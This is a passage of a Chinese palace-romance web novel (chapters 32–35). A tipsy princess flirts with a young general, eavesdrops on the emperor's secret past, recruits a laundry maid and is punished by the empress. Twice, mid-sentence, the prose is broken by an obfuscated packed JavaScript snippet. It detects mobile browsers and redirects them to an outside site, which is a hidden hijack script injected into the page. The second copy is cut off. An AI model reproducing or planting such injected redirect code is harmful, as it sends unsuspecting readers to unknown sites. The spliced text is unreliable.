因为她知道皇帝并不是真的要从自己的口中知道什么答案,他眼神飘忽,显然醉了。 这句问话,也不过是他酒后的醉语。 而皇帝听到胥毓的回答后,果然也没有再问,他的眼中闪过一丝失望,旋即又恢复成了那个威严的帝王:“没说什么,下去吧,好好养伤。” 胥毓行礼退下,走出乾清宫时,雨停了,寒风卷着地面的潮气扑面而来。 她这才发现自己的后背已经完全湿透,冷风一吹,寒凉刺骨。 远处,芳吟提着一盏宫灯伫立良久:“公主,娘娘让奴婢来接您。” 那盏宫灯在冷风中孤独摇曳,将地面映出斑驳的光影,胥毓踩着虚浮的步子走在回宫的路上,酒意随着寒风一阵阵上涌。 此时此刻,她才终于明白了偏殿之中邰玉轩的告诫。 在这深宫里,拔尖的危机从不仅仅来自后宫的明枪暗箭,更多的,还是来自前朝那些虎视眈眈的目光。 婚事。 她又想起了皇帝的那句话,想起了历代公主,有几个能逃过联姻的宿命,而她,似乎也正一步步走入其中。 胥毓想得出声,直至一旁的芳吟忽然发出一声低呼,她才发现拐角处的梅树下,出现了一个熟悉的身影。 邰玉轩披着墨色大氅,肩头落满了梅花,已不知在此等候了多久…… 32. 毓轩闺房暧昧交手 “将军这是迷路了?”胥毓轻笑,声音因酒意而带着几分慵懒。 邰玉轩上前行礼,从怀中取出一个青瓷小瓶:“听闻公主受了伤,臣是来送药的。” 皇宫之中,什么样的疗伤圣药没有,哪轮得到他来送什么药?所以送药不过托词,他只是听说她受了欺负,有些想要见她。 偏殿一别,再有她的消息,便是她因和三公主打架斗殴被带去了乾清宫。 彼时他正要离宫,听此消息却是片刻也不敢耽误,立马就赶到了乾清宫外等候。宫内人影晃动,不时传来些许帝王怒号,邰玉轩双手成拳,脑中思绪紧绷成弦,只等着胥毓发出什么动静,便一举闯进殿中,将人带走。 人是他亲自带回来的,若此处于她是囚笼,他自然也要将人全须全尾地带出去,哪怕是要他交出那只先帝御赐镇国公府的免死金牌,他也在所不辞。 但等了半响,除了皇帝时不时的怒骂外,便只偶有胥锦婳的哭喊隐约飘出,未曾听闻胥毓传出什么动静。 她一向聪慧,虽然历来睚眦必报,也知有些时候要先明哲保身,所以今夜应当也会平安渡过。 但邰玉轩还是没走。 他等在梅花树下,看着落英缤纷,总还是要亲眼再见上一面,才肯安心离去。 终于,胥锦婳被拖了出来,太子等人也先后告退,没过一会儿,张炳春一众奴婢也退至于殿外。 皇上只留了胥毓一人,他们说了什么邰玉轩不得而知,他也无心探究,反正归根结底也不外乎就是那么点先打巴掌后给糖的招式。 这老匹夫,历来就是这么个表面光鲜的笑面虎。 又等了约莫一刻钟,胥毓才神情落寞的走出乾清宫,她发髻虽然稍有凌乱,但胜在一身服饰并不狼狈,约莫可以推算此“仗”未占下风。 邰玉轩松了口气的同时,心里也忽然有些慌乱,于是左摸右掏,等到好不容易从袖子里翻出一瓶药膏时,那道蹁跹的影子,早已经落在他的面前。 胥毓看着面前的男子,心里没多少意外,虽然这装货面上一丝情绪也不漏,但胥毓就是知道,他八成已经等了许久。 但她没有拆穿,像是信了他只为送药的托词,淡然从他手里接过药瓶,只是在两指骤然相触时,指尖故意擦过他的掌心。 顿时,邰玉轩如被烫到般缩回手,耳根在灯光的映照下恍若滴血。 他蜷曲着手掌,不舍张开,也不敢紧握,于是只得装模作样地抵在唇边轻咳一声,然后藏宝似的别在身后。 “皇上可有为难你?”他问。 “没。”几句话而已,算不得为难。 “胥锦婳那边可要臣出手再给点教训?”他又问。 “不必。”罚去皇陵,生不如死,不必再赶尽杀绝。 “……”他不知要说些什么了。 来时不过气血上涌,如今静下心来,才觉似乎有些唐突,就在邰玉轩抿着唇,犹豫着要不要现在告辞时,只见胥毓倏地轻笑。 “来都来了,不送送我?”她将药瓶收入袖中,突然身子一歪,整个人靠在了邰玉轩的肩上。 浓烈的酒香混合着少女身上独特的气息,一股脑的钻进邰玉轩的鼻腔里,邰玉轩这时才发现眼前人似乎有些醉意。温香软玉在侧,他只觉浑身犹如火烧,烧得他被依靠的那半边身子都不由得浸出薄汗。 但他又不敢贸然伸手,这于理不合,所以眼下便僵在原地,双手悬在半空,一时扶也不是,不扶也不是。 憋到最后,只能哑着声音说道:“公主,这不合规矩……” 但胥毓又不是这皇宫之中打小便被规训的公主,规矩于她而言,与狗屁无异,所以兀自找了个舒服的位置,便娇蛮地得寸进尺。 “你背我回去。”她仰起脸,呼出的热气拂过邰玉轩的下巴,“不然今晚我就睡在这地上。” 芳吟已经识趣儿地垂首,将手中宫灯也一并递到邰玉轩手上。 宫道尽头传来巡逻侍卫的脚步声,眼看着那脚步声越来越近,邰玉轩咬了咬牙,到底是解下大氅将胥毓的脑袋严严实实裹住,才一把将人抱起,快步朝着未央宫的方向赶去。 胥毓得逞地勾起唇角,将脸埋在他颈间,嗅了嗅他身上那熟悉的松香气息。 邰玉轩走得都是稍偏僻些的宫道,芳吟在前面开路,如此默契配合下,一路走来倒是完全没被人撞到。 只是偶尔垂眸看着怀中那惬意的雪团子,邰玉轩的心脏抑制不住的狂跳。 他声音发紧,忽然问道:“若是被人看见怎么办……” 胥毓在他怀里蹭了蹭:“那就说本公主醉酒难行,邰将军好心相送,将军如此古道热肠,本公主实在感激,然后本公主再赏你金银若干,邰将军以为如何?” 邰玉轩以为不如何,谁稀罕那劳什子的金银,但和这醉鬼也没什么好争论的,所以无奈叹了口气,他默默地加快脚步。 未央宫很快就到了,邰玉轩呼了口气将人放下,想着这回她总算是能放自己离开了吧,于是正打算恭敬行礼:“臣就送到这——” “不行!”但话还没说完,胥毓就一把揪住他的衣领打断他,“你必须把本公主送进去,送到房间里,不然……我就不让你走!” 此时守门的宫女们刚在芳吟的叫门下打开宫门,见此情形,忍不住低呼出声。 但好歹都是在皇后身边伺候的,所以倒也算得上机灵,只惊讶了一瞬,众人便慌忙将二人迎入内室,然后又识趣地退了出去。 唯有芳吟和闻讯赶来的褚奎留在外间,一个眼观鼻鼻观心,一个手握刀柄脸色阴沉。 内室里,邰玉轩小心翼翼地将胥毓放在床榻上,刚要退开,却被拽住了衣袖。 “来都来了,邰将军难道不打算给本公主上了药再走?”胥毓歪着头,将脸上的红痕怼到邰玉轩面前。 邰玉轩喉结滚动,虽然还是觉得不妥,但今夜都将人给送进闺房了,再拒绝反倒显得扭捏,倒不如就利索地遂了她的意,也好让自己能离开的早些。 于是他不说话,认命地从胥毓手上接过药膏,指尖沾了一点,轻轻涂在了她的伤口上,他的动作极轻,像是怕碰碎了什么珍宝。 “疼吗?”他低声问。 胥毓摇头,突然踢掉鞋袜,将脚放在床上,“走了一天,脚酸,邰将军顺便给我按按脚吧。” 露出的脚趾白嫩如玉,邰玉轩瞥了一眼,便如遭雷击似的猛地背过身去:“公主,男女授受不亲……这,臣还是让您的侍女进来帮你擦药吧!天色不早,臣,臣……” “装什么正经呢?”但胥毓赤足踩上他的后背,感受到那紧绷的肌肉,足尖顺着脊梁一路下滑,“那日太液池你不是抱得挺紧吗?当年和我一起下河摸鱼,别说是看我的脚了,邰将军可是连摸都不止是摸过一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073553|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在倒是和我说起什么亲不亲来了。” 邰玉轩浑身僵硬,一张俊脸烧得滚烫,感受着尾椎骨出慢慢传来的酥麻,他近乎颤抖地转身抓住那只作乱的脚。 但胥毓却恍若不察,依旧变本加厉,又抬起另一只没被禁锢脚,用足尖从他的喉结滑到小腹,感受着他那逐渐紊乱的呼吸。 “邰将军。”胥毓声音轻得像羽毛,“你自己说说,咱们俩……现在有多亲?” 邰玉轩猛地松开手,然后压着胥毓的玉足欺身上前,屈着食指抵在她的唇边说道:“公主醉了,不要胡说,当心隔墙有耳!” “醉了?”胥毓失笑,张口咬住他的指尖,舌尖轻轻扫过:“邰将军才是胡说八道。隔墙无耳,不过是……你心有我。” 娇润的红唇在自己的面前一张一合,吐出的热气恍若带着某种不可言说的邀请,邰玉轩一时看得痴了,直到门外突然传来刀鞘碰撞的声音,他才如梦初醒,然后慌忙地抽回手:“臣……臣去给公主拿火炉来。” 刚才她的玉足在手,滑腻如冰,一看便是今夜饮酒后吹了冷风,有些受凉,眼下如果不快些捂着,明日只怕是要害了风寒。 可胥毓哪会轻易地放他离开? 她不依不饶地拉住邰玉轩:“邰将军身上就有暖和的东西,何必舍近求远?” 刹那间,耳边恍若划过电闪雷鸣,但雷鸣再大,也压不住他那宛如擂鼓般的心跳。 邰玉轩的喉结上下滚动,胥毓指尖传来的温度几乎要将他灼伤,他的耳边反复回响着胥毓的那句“暖和的东西”,脑子里忽上忽下找不到边际,就连胸腔里那颗滚烫的心脏,此刻也正疯狂地撞击着他的胸膛,仿佛要不顾一切地冲破肋骨与皮肉的束缚。 “公主……”他的声音哑得不成样子,尾音微微发颤。 胥毓轻笑,指尖从他的眉眼描摹到紧绷的下颌,看着他闭上眼睛,再感受着那处肌肤下急促跳动的脉搏,最后勾着指甲轻轻刮过他的锁骨,说道: “邰将军的这里,跳的好快……” 邰玉轩闭着眼睛不敢睁开,因为他怕,怕自己睁开眼睛,此刻那些宛若豺狼虎豹般的情绪,便会瞬间将眼前这朵娇嫩的花朵吞吃入腹。 所以他压抑着,任凭那作乱的手指在他的身上煽风点火,也依旧不吭一声。 但实则他也没等上多久,不过一会儿,耳边就隐约传来了一阵平缓的呼吸声。 邰玉轩睁开眼,静静凝视着胥毓的睡颜。 褪去了平日里刻意伪装的的锋芒,此刻的她才有了几分符合年纪的娇憨,邰玉轩小心翼翼地拂开她额前的碎发,指尖在即将触到肌肤的瞬间又克制的收回。 他保持着半跪的姿势一动不动,仍由腿上传来的酥麻逐渐漫延,直到确认胥毓已经熟睡,才极轻极缓地抽出手,将她整个人小心地裹进锦被。 “臣告退。”他无声地动了动唇,倒退着退出内殿,直到身影彻底的消失在未央宫外,褚奎的手中的流星刀才终于归鞘。 他望着邰玉轩远去的方向,眼中闪过一丝杀意。 但谁也不知道,就在邰玉轩离开后不久,床上的胥毓便猛地睁开双眼。那双眼睛里此刻既无睡意,也无醉意,余下的,唯有一片痛彻心扉的清明。 她轻手轻脚地掀开锦被,赤足踩在冰凉的地砖上,连呼吸都放得极轻,然后小心翼翼地从暗格中取出了一件夜行衣…… 33. 答案 床榻旁的炭盆已经熄灭,只余几点暗红的火星。 胥毓从暗格中取出夜行衣换上,指尖触到脸颊上已经消肿的伤痕时,皇帝炽热的目光,皇后欲言又止的神情……白日里的一幕幕又浮现在眼前。 她想,有些秘密别人不说,她却不能一直像个傻子似的不闻不问,否则只怕到时候祸事临头,她会连自己如何死的都全不知情。 夜风呜咽着拍打窗棂,胥毓像只灵活的黑猫般翻出窗外,融入浓重的夜色中。 宫道上宴席余留下来的琐碎杂物已经被清扫干净,但尚未完全干透的檐角仍时不时滴落水珠,在寂静的夜里发出清脆的声响。 皇帝的寝宫外守卫森严,但胥毓早已摸清了巡逻的规律,她借着假山旁的一处阴影潜到侧殿,然后撬开了一扇年老失修的偏窗翻了进去。 殿内地龙烧得正旺,扑面而来的热气让她险些打了个喷嚏。 密室的机关就在龙榻后的屏风后。胥毓屏息凝神,手指在雕花处轻轻一按,“咔哒”一声,暗门无声滑开,熟悉的檀香味扑面而来。 胥毓闪身而入,但还没来得及走到那日发现虎符的地方,就被眼前的景象惊得僵在原地。 密室内烛火通明,皇帝正背对着她站在那幅画像前,手中捧着一盏已经冷透的茶。胥毓的心跳几乎停滞,她正要退后,却听见皇帝突然开口: “季荷,你知道吗,长大后的毓儿眉眼与你一般无二,还有那倔强跳脱的性子,活脱脱就是当年年轻时候的你。” 胥毓的脚步骤然停住。 季荷?墙上那幅画里和自己长得极为相似的那名女子,名唤季荷? 她没再急着离开了,富贵险中求,要想知道更多的秘密,对她来说,留在这里才是最好的选择。 皇帝的手指轻轻抚过画像中人的脸庞:“朕知道,你若还在世的话,必定不愿毓儿再回皇宫……你厌恶这里,宁愿死也不愿意留在这里。可是季荷,朕实在忍不住啊!这些年,朕每次看见沈青梧身上的那只荷包,都会想起当初你还在朕身边的模样……” 那时候,他与皇兄胥殊尚且还是手足情深的亲兄弟,平日里一起陪着胥季荷赏花逗猫,好不惬意。 那时候,胥季荷还没有后来那么恨他。 她会在先皇责罚他不用功读书时护着他,会在夫子考教功课时悄悄给他答案,也会在他骑术不精时,一甩马鞭将他拉上自己的马驹…… 那时候,他觉得就算是胥殊,也比不上自己在胥季荷心里面的地位。 所以他洋洋得意,自命不凡,不可一世,觉得胥季荷无论如何都会和自己站在一边,直到最后,成为他的妻,他的后。 也因此,被利益冲昏头脑后,他才会在沈青淑的蛊惑下,昏了头的设计自己最爱的女人和自己的亲哥哥…… 胥毓死死地咬住下唇,生怕自己发出半点声响。 她没想到此行竟然会在此听见如此大的秘密,这位胥季荷,看样子在她父皇的心中占据着不可估量的地位,所以自己一而再,再而三的受到胥瀮的优待,也不过是沾了她的光。 可是,自己和她如此相似的容颜,真的就只是巧合吗? 胥毓心里满腹怀疑,只得选择继续听下去。 “虽然夺位一事确实是朕对你不起,但朕真的从未想过要伤害你!”胥瀮的声音突然变得哽咽,鎏金茶盏在他的掌心发出不堪重负的脆响,“只是朕没想到,你竟会与胥殊假戏真做!” 他原是想将两人锁在一间屋子里,再找人将此事撞破。 胥季荷的身份本就特殊,因着这事,先皇肯定会厌弃胥殊,若是运气再好些的话,他的父皇就此被气得一命呜呼,那这皇位于他而言,就更是探囊取物。 一切都在按着他的计划进行,一切都完美的不可思议。 唯有一点,当殿门打开的时候,他没想到自己坚信爱着自己的胥季荷,竟然真的会和胥殊十指紧扣! “为什么!为什么会这样?是他强迫你的对不对!”胥瀮突然发疯似的将桌上的东西全都推倒在地,“你不爱他,你爱的是朕!没关系,都没关系,朕知道受委屈的是你,朕会杀了胥殊,朕没有他这样的哥哥,只有你,朕只要你!” 胥瀮的面前一片狼藉,他满脸泪痕,丝毫不像平日里那个运筹帷幄的帝王。 此刻的他疯了,傻了,痴了,反正看起来不像什么正常人,只知道痛苦地抱着怀中的画像,就好像真的抱住了他记忆中的那个女子! “可是,你怎么就那么倔啊!”他对着画像呐喊,“当年你若肯服软,又何至于会客死他乡,连个替你收敛棺椁的人都没有……就留下那个孩子——” 胥毓瞳孔骤缩,直觉胥瀮接下来要说的秘密,绝对会颠覆自己所有的认知。 但就好像是老天爷偏要和她作对似的,才听得半句,突然,一道尖细的嗓音惊得她浑身一颤! “皇上,该进药了。” 密室的暗门从外面被打开,黄铜烛台突然爆出个灯花,照亮了从寝殿摸进来的老太监张炳春。他佝偻着腰,手中的鎏金托盘上,墨色药汁正在白玉碗里微微荡漾。 皇帝神志不清的眸子骤然移转过来,胥毓慌忙将身子缩进了一旁的阴影,黑暗中不可视物,她也不知自己究竟是藏进了个什么位子,只是在后背抵上石壁时,清晰地听见一块抵着自己的木板发出了细微的“吱呀”声。 张炳春浑浊的眼珠瞬间转向她的藏身之处,胥毓的冷汗顺着她的脊背滑下,在冰冷的夜行衣上洇出深色的痕迹。 那浑浊的眼珠在烛火下泛着阴冷的光,像毒蛇般一寸寸扫过暗室的每个角落。 胥毓死死屏住呼吸,心跳宛若擂鼓,震得耳膜生疼。极端的惊恐之下,她甚至都能听见自己血液奔涌的声音,在这死寂的密室里显得格外刺耳。 张炳春的脚步缓缓挪动,靴底碾过青砖的摩擦声如同悬在脖颈上的利刃,稍不注意,便会取人性命。 这时,一滴冷汗从胥毓的额角滑落,悄无声息地砸在暗格底部的木板上。 “啪。” 极轻的一声,却像是惊雷炸响。 张炳春的耳朵微微一动,枯瘦的手指已摸向腰间,胥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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待到胥毓终于踉跄着回到寝宫,正想喝口水压压心头的慌乱,但却不想突然手一抖,竟不慎撞翻了案上的烛台。 “公主?” 随着这声“砰”响,守夜的芳吟立马举着灯走进来,但在看到胥毓的一身夜行衣时,她瞳孔骤缩,然后猛地关上房门,“您这是去哪儿了……” 胥毓没有回答,她静静看着眼前这个四十余岁的嬷嬷,昏黄的烛光落在她的脸上,描摹这那些历经岁月所形成的沟壑。 她是皇后送到自己身边的人,有着一双和皇帝,皇后一样复杂的眼睛,他们看着自己的时候,都像是透过自己,在看一个并不存在的虚影。 胥毓忽然有些破罐子破摔,她张嘴问道,声音沙哑得不像自己,“芳吟,你知道胥季荷是谁吗?” 烛光下,芳吟的脸色瞬间惨白,她手中的灯盏“啪”地掉在地上,唯一的光亮瞬间消失殆尽,黑暗中,她们谁也看不清对方脸上的表情。 “公主……是从哪里听来的这个名字?”芳吟的声音像是从很远的地方传来。 胥毓无声地笑了,她已经得到自己想要的答案…… 34. 收下玉蝉 晨光穿过雕花窗棂,在青砖地上洒落斑驳的碎影。案头青瓷笔洗中,半盏残水承着天光,泛起细碎的微澜。 胥毓指尖轻叩案沿,指节与木面相触的脆响在静室中漾开,宛若石子点水,惊得满室光影微微一颤。 她眼帘半垂着,长睫在眼下投出浅影,没人看得出她在想什么,只瞧得见案上那碟蜜饯从始至终没人动过,纯白的糖霜晃眼瞧去,倒像是蒙上了层经年累月的灰。 芳吟站在圈椅侧后方,攥着帕子的指节微微发白。 昨夜胥毓的那声“胥季荷”像块冰砖砸进心湖,到现在还冻得她的指尖有些发麻,她偷眼瞥了眼胥毓的侧脸,见公主指尖叩得更急了些,忙又低下头,连呼吸都不自觉地放轻几分。 公主昨夜没说是从哪儿听来的这名字,但好在也没有多问,所以此刻至少面上,她们之间还算得上是相安无事。 但就算昨夜公主问起,她也是无论如何都不会吐露一星半点。毕竟,除了皇后娘娘的交代,她自己私心里,其实也不希望小公主会这么早就卷进那场骇人的恩怨里。 芳吟正想得出神,“吱呀”一声,房门忽然被人从外边儿推开,带起一阵清爽的穿堂风。 随后褚奎人未进,粗粝的声音却先一步撞进来:“公主,人带来了。” 他的身后跟着两个面无表情的嬷嬷,而在嬷嬷中间,又夹着个瘦小的女子。 那女子青灰色的宫装洗得发白,袖口磨出毛边,走路时几乎是被嬷嬷半提着,鞋尖在青砖上拖出细碎的声响。 刚过门槛,她便“扑通”一声跪了下去,像是不知疼痛似的,膝盖撞地的闷响格外清晰。 玉蝉把头死死抵在砖上,冰凉的潮气顺着额发渗进来,冰得她直打激灵。 可她太害怕了,所以就算是浑身抖得像被秋风卷住的枯叶,连牙齿都在打颤,也丝毫不敢做出多余的动作,惊扰了眼前这位一等一的贵人。 玉蝉就是昨日胥毓和胥锦婳打斗时,突然冲出来帮了胥毓一把的小宫女。 昨日她谎称皇帝即刻便到,中断了两人之间的争斗,却不想两位主子才停了片刻,就又扭打成了一团。 她只是个命贱的浣衣局小宫女,留在那里,就算是一不当心被她们给乱脚踩死,估摸着也就是一张草席给打发了的命。 所以她不敢停留,当即便想趁着没什么人注意到自己,走为上计。 可没想到还未跑出多远,她这张乌鸦嘴倒真是把皇上给招了来,虽然没亲见圣颜,但却是落到了张炳春公公手里。 后来将自己的所见所闻据实以告后,她又全须全尾的被放回了浣衣局,可那位公主的珠子还在自己手里,当时吓昏了头,竟是忘了还回去。 若那位公主事后想起,命人追究,那可如何是好! 玉蝉就这样胆战心惊地想了一夜…… 而偏偏是她怕什么就来什么,第二日一早,她还没想出个解决的法子,浣衣局管事的嬷嬷就找上门来了。 她自然不敢贪污,当即将前因后果又向嬷嬷们也说了一遍,然后老老实实的将东西交了出去。 她不是故意贪墨这珍珠的,她只是刚好捡起,事后又忘了而已! 虽然刚看见这东西的时候,她确实生了那么几分妄想,但到底是理智占据上峰,她还是想要靠堂堂正正地赏赐来治好母亲的病。 所以得知还了东西后,公主的人仍旧要将自己抓过去,她实在是完全不知如何是好。 而在来的路上,她又听见那两个嬷嬷说假传圣意是要砍头的,运气不好,说不准还要株连九族。 她的九族人不多,就两个,她和她娘亲。 一想到因为自己的一时莽撞,说不定就连牵连娘亲和自己一起送命,玉蝉的心里可谓伤心至极。 她此刻满脑子都是母亲在家咳血的模样,极致的惊恐下,身子忽然抖得更凶了,甚至就连后颈的碎发,都逐渐被身上的冷汗给浸湿。 胥毓这时终于停下叩击案沿的手指,她缓缓抬眼,目光落在那团瑟缩的影子上。 面前的少女面黄肌瘦,瘦得几乎能看见肩胛骨的轮廓。 昨日她跪在地上谎称皇上来了,虽然也如今日一般只敢把头深深埋在地面,但颤抖的声音里却还是透出了股机灵劲。 “抬起头来。”胥毓的声音不高,却像带着极强的穿透力,混着案上残茶的清苦气漫过去,又惊得玉蝉一阵瑟缩。 玉蝉的肩膀僵了僵,手指抠着砖缝里的尘泥,一点一点地仰起脸。 她睫毛上还挂着泪珠,一抬眼就滚了下来,砸在青砖上洇出个深色的小点。 胥毓的目光在她脸上停了停。 约莫十五六岁的年纪,眉眼倒是清秀,只是两颊没什么血色,唇瓣干裂得起了皮。视线往下移时,瞥见她露在袖口外的手背,几道冻疮疤痕像暗红的蚯蚓爬着,新疤叠旧疤,显然是常年泡在冷水里落下的。 “奴婢玉蝉,参见公主……” 确实是有些机灵,若换了旁人,怕成这样,只怕早忘了还要行礼。 但她却还牢牢记着,虽然声音细得像蚊鸣,且刚出口就险些被自己的哭腔打断。 胥毓对她还算满意,但面上却不曾表露。 “啪!”的一声。 她突然抬手拍在案上,青瓷茶盏被震得跳了跳,茶水溅出几滴,将案上的宣纸晕开一片浅痕。 “你好大的胆子!竟敢假传圣意!”她声音里没带多少怒气,却让玉蝉像被沸水烫了似的,“咚”地一声又把额头磕在砖上。 “公主饶命!”玉蝉的声音抖得不成样子,额头抵着冰凉的砖面,眼泪顺着鼻梁往下淌,“奴婢……奴婢只是一时情急……” 她原想说“是为了救母亲”,可话到嘴边又咽了回去,毕竟在这深宫里,谁会在乎一个宫女的母亲? 胥毓忽然笑了,那笑声很轻,像风吹过檐角的铜铃。 她起身一步步靠近,直至绣着银线暗纹的鞋尖停在玉蝉眼前,下一刻,微凉的指尖骤然挑起她的下巴。 玉蝉被迫仰起脸,看见胥毓眼底映着自己面孔的倒影,只觉那双眼睛像浸在寒潭里的玉,清透,却没什么温度。 “那你倒是说说,为何要撒谎?” 指尖的凉意顺着下巴漫上来,玉蝉的眼泪突然决了堤,大颗大颗砸在青砖上,洇出一片深色的水渍。 她咬了咬干裂的唇,尝到点血腥味。 直觉自己再不说,母亲只怕就真的要没救了。 所以她猛地闭了闭眼,声音带着破音:“奴婢……奴婢是为了救母亲!” 去年秋天的雨好像又落进了记忆里。 玉蝉抹了把脸,指尖蹭到满脸泪痕,声音发哑:“父亲走得早,母亲一个人把奴婢拉扯大。去年入秋她染了怪病,先是手脚起红疹,后来满身都是,还烧得说胡话,奴婢把家里能卖的东西都卖了,还是不够药钱,只得自卖入宫。可浣衣局的月钱微薄,根本不够请好大夫……” 她吸了吸鼻子,看见胥毓的指尖还停在她下巴上,没有收回。 便又鼓起勇气,“昨日在地上看见公主掉落的珍珠,奴婢本想捡了换钱给娘治病,但我娘常说,做人要清清白白,不是自己的东西万不可贪,所以奴婢就没打算昧下那珠子了。之后又看见公主被围,奴婢就想……若是能救下公主,公主给的赏钱,或许能请个好大夫……” 胥毓眸 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但玉蝉呆若木鸡,双手颤抖着始终不敢去接。 “怎么?嫌少?” “不不不!”玉蝉猛地磕头,额头撞在砖上“咚咚”响,不过几下就红了一片,“奴婢……奴婢只是没想到……” 没想到这位公主竟然真的如她所想给了赏钱,不仅如此,连药方竟也一并赐下! 这于她而言,简直就像是做梦,所以她不敢去接,生怕自己一猴急,这美梦就立马在自己的面前化为泡影。 “先别高兴的太早,本公主的东西可没那么好拿,是有条件的。”胥毓的影子落在她面前,语气里听不出情绪。 玉蝉的额头还抵在砖上,闻言猛地抬起头,发髻都散了几缕。 她看见面前的女子嘴唇一张一合:“拿了东西,往后就要做本公主的贴身宫女。” 胥毓站在晨光里,鬓边珍珠步摇轻轻晃动,玉蝉突然想起浣衣局里的其它宫女曾经说起过,这些贵人身边的宫女不仅穿得比浣衣局要好上许多,平日里主子高兴,或许还会赏赐些贵重的金银首饰。 那可是她想都不敢想的日子! 可眼前的公主,竟是要将此作为筹码。 虽然她也明白公主此言要得是她的忠心,可为人奴婢,最为要紧的可不就是忠心,不管公主有没有给她这些东西,只要公主是她的主子,她都会竭尽全力做好自己的本分。 所以对于她而言,公主给出的这两样东西,不是交换,全是恩赐! 她何德何能才能都到公主如此青眼呀! 眼泪又涌了上来,但这次却带着热意,玉蝉看了看胥毓的眼睛,然后重重磕了三个响头,直把额头撞得阵阵得发麻才一脸认真地说道: “奴婢的命,往后就是公主的了!” 胥毓看着她额角的红痕,唇角几不可察地勾了勾。 这宫里的人,不是攀附权势,就是背靠宗亲,像玉蝉这样只有“母亲”这个软肋的,反倒干净。 而她也恰恰需要这样一个干净的人,在往后前行的路上,助她一臂之力。 “去吧,给你半月假。”胥毓转身坐回圈椅,指尖又开始叩击案沿,节奏却比先前缓了些,“半月后,我要看见一个干干净净、伶伶俐俐的玉蝉。” 玉蝉抱着锦囊和药方千恩万谢地退下后,木门关上的瞬间,芳吟终于忍不住开口道:“公主为何……” “为何收她?”胥毓没看她,目光落在窗外,一片枯叶正从梧桐枝上飘落,然后打着旋儿的往下坠,“因为这宫里,会说真话的人太少了……” 35. 被罚抄经,佛堂起火 芳吟的脸“刷”地变白。 她知道公主这话指的不只是玉蝉,自己根本无法反驳,所以张了张嘴,终究还是沉默地退到一旁。 处理完玉蝉一事,皇后身边的香巧就来了。 彼时胥毓正对着铜镜摘发间的金步摇,听见通报时指尖微顿,镜中映出她平静的眼,以及微抿的唇。 她将步摇递给一旁的琴夏,接过小宫女递来的帕子将手擦了擦,说道:“马上就来。” 心里大致晓得皇后相邀多半不是什么好事,但收拾妥当后,胥毓还是跟着香巧走了。只是没料到这一去,她连皇后的面都没见着,就被香巧引着跪在了殿门外的青玉砖上。 此时日头正高,砖面被晒得滚烫,跪了小半个时辰,胥毓就觉着膝盖下的刺痛像针一样扎进来,因而不得不微微挪动身子,以作缓解。 檐角的铜铃被风吹得轻晃,影子落在地上,如她一般,像个被钉住的囚徒。 “公主昨夜睡得可好?”又跪了近半个时辰,皇后的声音才终于从殿内屏风后传来。 她的尾音拖得极长,语调慵懒,明明罚自己跪了足足一个时辰,但说起话来,就好像完全无事发生。 胥毓抬眼望去,屏风已被撤走,皇后一身绛紫色常服,发间只簪一支素雅的白玉响铃簪,不过素归素,簪头的铃舌随着她的呼吸轻晃,叮铃一声,倒是吵得人心烦。 “回母后,儿臣昨日酒醉,不大记得发生了些什么,不过今日精神尚足,想来睡得不错。”她答得不卑不亢。 “不错便好,只是不知,毓儿睡得这样安稳,除了酒醉,是否还有旁人的功劳?”皇后的指尖敲打在榻沿,若非是带着答案提问,倒真有几分闲话家常的意味,“毕竟本宫可听闻,镇国公家的那位小世子,昨夜造访了未央宫?” 胥毓的指尖猛地陷入掌心,暗叹皇后果然也在监视着自己的一举一动,只是不知,除了被自己刻意抛出来的这几处破绽,她是否还有旁的发现。 殿外的老梧桐被风卷得沙沙作响,几片枯黄的叶子打着旋儿飘进来,落在她杏色的裙裾上。 “儿臣无话可说。”胥毓深吸一口气,挺直脊背,额前的珍珠流苏随着动作轻轻晃动,碎光落在她的眼下,“还请母后责罚。” 昨夜发生了什么既然大家都心知肚明,自然也没什么再遮掩的必要,倒不如就直接认下,也免得多说多错,遗漏更多不该说的东西。 但看着胥毓这副死猪不怕开水烫的嘴脸,皇后却是不怒反笑。 胥毓偷偷用余光上瞄了一眼,只见皇后眼角细密的纹路在阳光下看得格外清晰,像是用墨笔一笔一划描上去的,藏着说不出的冷。 “毓儿,你今年十八了吧?”她顿了顿,声音软下来,“若真喜欢那邰家小子,本宫可以请皇上为你们赐婚。” 殿角的铜漏滴答作响,胥毓的心脏突突直跳,她承认,此时的自己竟然有一丝可耻的心动。 皇宫里的秘密太多,而且从最近得知的桩桩件件来看,她还极可能并非真正的皇室血脉,所以若是能以赐婚的名义嫁给邰玉轩,邰玉轩不能拒绝,自己也能顺势离开皇宫,重新成为最初那个无拘无束的阿柳。 这诱惑实在太大,大到胥毓明知是陷阱,也犹豫了好一会儿,才磕头婉拒。 “母后,儿臣不愿。” “为何?”皇后的声音又冷了下来。 人是她所爱,离开皇宫是她所愿,这样大的诱惑摆在眼前,她如何能轻飘飘地说出那句不愿。 胥毓垂眸,想着镇国公夫人的排斥,想着皇帝透过她怀念另一个人的眼神,想着密室里的那幅画,想着偷拿回来的那只木头小人…… 不是她不愿,而是这命运推着她向前,让她不得不往那明知是泥潭的深坑里陷。 但那些即便打碎牙齿也只能混血吞的秘密如何能说出口? 所以抬起眼,她直视着皇后,睫毛在眼下投出浅影,“邰家手握兵权,儿臣若与之成婚,母后……当真放心?” 东陵城除了由虎符调配的戍边军外,余下的便是被已故镇国公一手提拔,且只认邰家人的靖远军。 邰家人世代忠心,先帝从未对其有过怀疑,当今圣上也延续恩宠。 可这恩宠,若是牵扯上了皇家姻亲,又是否还能走得长远? 